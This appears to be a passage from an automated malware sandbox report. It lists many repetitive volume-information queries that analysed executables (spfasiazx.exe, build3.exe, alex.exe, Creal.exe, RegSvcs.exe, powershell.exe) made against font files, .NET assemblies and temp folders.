Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Users\user\Desktop\a\spfasiazx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Queries volume information: C:\Users\user\Desktop\a\build3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\alex.exe	Queries volume information: C:\Users\user\Desktop\a\alex.exe VolumeInformation
Source: C:\Users\user\Desktop\a\alex.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\a\alex.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\a\alex.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\a\alex.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\PublicKey VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Util VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\certifi VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\charset_normalizer VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
